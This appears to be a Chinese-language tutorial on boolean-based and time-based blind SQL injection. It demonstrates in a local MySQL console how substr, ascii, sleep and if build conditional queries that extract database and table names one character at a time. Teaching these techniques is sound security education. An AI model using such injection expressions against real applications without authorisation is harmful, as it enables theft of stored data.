盲注-布尔和时间
-
布尔盲注
盲注简介:
盲注是注入的一种,它的意思是不知道数据库具体的返回值的情况下对数据库中的内容进行猜解,实施SQL注入。一般分为 基于 布尔 和 基于 时间 类型的盲注。
基于布尔的盲注:
Web页面的返回值只有两种, True 和 False , 所以我们只能通过测试输入的注入语句为 Ture 或 False 来判断注入的效果 , 并通过这两种可能一步步得出数据库的信息
关键函数:
length() : 返回字符串的长度
substr() : 截取字符串
ascii() : 返回字符的ascii码
SQL 语句构造:
select length(database())
说明:返回 当前数据库名 的长度
select substr(database(),1,1)
说明:截取 当前数据库名 字符串 的第一个位置上开始第1个字符
select substr(database(),2,1)
说明:截取 当前数据库名 字符串 的第二个位置上开始的1个字符
select substr(database(),2,2)
说明:截取 当前数据库名 字符串 的第二个位置开始的2个字符
select ascii(substr(database(),1,1))
说明:返回 substr 在 当前数据库名 字符串中所截得 第一个字符 的 ascii 码,ascii函数只能返回一个值
下面看看各个函数的效果:
当前数据库是 security:
select length(database());
效果如下:
mysql> select length(database());
+--------------------+
| length(database()) |
+--------------------+
| 8 |
+--------------------+
1 row in set (0.00 sec)
select substr(database(),1,1);
效果如下:
mysql> select substr(database(),1,1);
+------------------------+
| substr(database(),1,1) |
+------------------------+
| s |
+------------------------+
1 row in set (0.00 sec)
可以看见:当前数据库 security 第一个 字符就是 s
mysql> select substr(database(),1,8);
+------------------------+
| substr(database(),1,8) |
+------------------------+
| security |
+------------------------+
1 row in set (0.00 sec)
说明:从第一个位置开始,截取8个字符的长度,并且显示出来
select ascii(substr(dabatase(),1,1);
效果如下:
mysql> select ascii(substr(database(),1,1));
+-------------------------------+
| ascii(substr(database(),1,1)) |
+-------------------------------+
| 115 |
+-------------------------------+
1 row in set (0.00 sec)
s 的ascii 码 就是 115
如果用 : select ascii(substr(database(),1,8)); ??? 会返回所有字符的ASCII码吗?
效果如下:
mysql> select ascii(substr(database(),1,8));
+-------------------------------+
| ascii(substr(database(),1,8)) |
+-------------------------------+
| 115 |
+-------------------------------+
1 row in set (0.00 sec)
事实证明:并不会,说明 ascii 函数只能返回第一个字符的ascii码
那么,如果我们不知道 当前数据库名 是 security ,用上面 ascii substr length 函数如何猜测出 当前数据库名呢?
这样构造语句:
select ascii(substr(database(),1,1))=100;
说明:这个 当前数据库 字符串 的第一个字符 的 ascii 码 是 100 吗?
如果是,返回就为1(True),如果不是,返回就为0(False)
效果如下:
mysql> select ascii(substr(database(),1,1))=100;
+-----------------------------------+
| ascii(substr(database(),1,1))=100 |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(substr(database(),1,1))=115;
+-----------------------------------+
| ascii(substr(database(),1,1))=115 |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.00 sec)
说明:看说明当前数据的第一个字符的ascii码是115,查一下115,就是 s
这样一个 = 一个 = 的判断 很麻烦
构造语句:
select ascii(substr(database(),1,1)) > 100;
说明:第一个字符 > 100 吗?
效果如下:
mysql> select ascii(substr(database(),1,1)) > 100;
+-------------------------------------+
| ascii(substr(database(),1,1)) > 100 |
+-------------------------------------+
| 1 |
+-------------------------------------+
1 row in set (0.00 sec)
说明:第一个字符的ascii就是大于 100 的
这样灵活使用 > 和 < ,可以很快把一个字符限定在一个很小的范围内
这个时候使用 二分法 判断 最快
-
时间盲注
概念:
盲注是注入的一种,他的意思是在不知道数据库具体的返回值的情况下对数据库中的内容进行猜解,实施SQL注入,一般分为基于布尔和基于时间类型的盲注。
基于时间的盲注:
*** Web页面的返回值只有一种,True。 ***
*** 无论我们输入任何值,它的返回情况都会按正确的处理。无法通过返回页面正确或是错误来推断信息 ***
加入特定的时间函数,通过查看是web页面返回的时间来判断注入的语句是否正确,以此得出数据库的信息。
关键函数:
sleep(n) : 执行将程序(进程)挂起一段时间
if(expr1,expr2,expr3) : 判断语句,当第一个参数正确时,执行第二个参数,
否则执行第三个参数
将这两个函数在sql后台中试验试验:
就把程序挂起 2 秒钟:
select sleep(2)
效果如下:
mysql> select sleep(2);
+----------+
| sleep(2) |
+----------+
| 0 |
+----------+
1 row in set (2.02 sec)
使用if语句:
select if(database()='security',1,2);
说明:当 当前数据库名是 security 的时候 输出 1 ,否则输出 2
效果如下:
mysql> select if(database()='security',1,2);
+-------------------------------+
| if(database()='security',1,2) |
+-------------------------------+
| 1 |
+-------------------------------+
1 row in set (0.03 sec)
又返回结果说明:当前数据库名就是 security
可以将 sleep 函数和 if 语句结合起来
构造语句:
select if(ascii(substr(database(),1,1))>110,sleep(3),NULL);
这个参数1 (expr1) 可以是很复杂的语句,
如: (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1 ),1,1)) > 100 )
然后放入 原 database() 位置
select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1 ),1,1)) > 100,sleep(2),NULL)name;
说明: 如果 当前数据库中的 第一张表 的 表名 的第一个 字符 的 ascii 码 是大于 100的话,那么 挂起程序 2秒钟 然后输出,否则 什么也不做,另外,给这个返回表取了个别名:name。
效果如下:
mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1 )) > 100,sleep(2),NULL)name;
+------+
| name |
+------+
| 0 |
+------+
1 row in set (2.00 sec)
说明这个 第一张表的 第一个字母 的 ascii 码 确实是 大于 100 的
mysql> select if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1 )) > 120,sleep(2),NULL)name;
+------+
| name |
+------+
| NULL |
+------+
1 row in set (0.00 sec)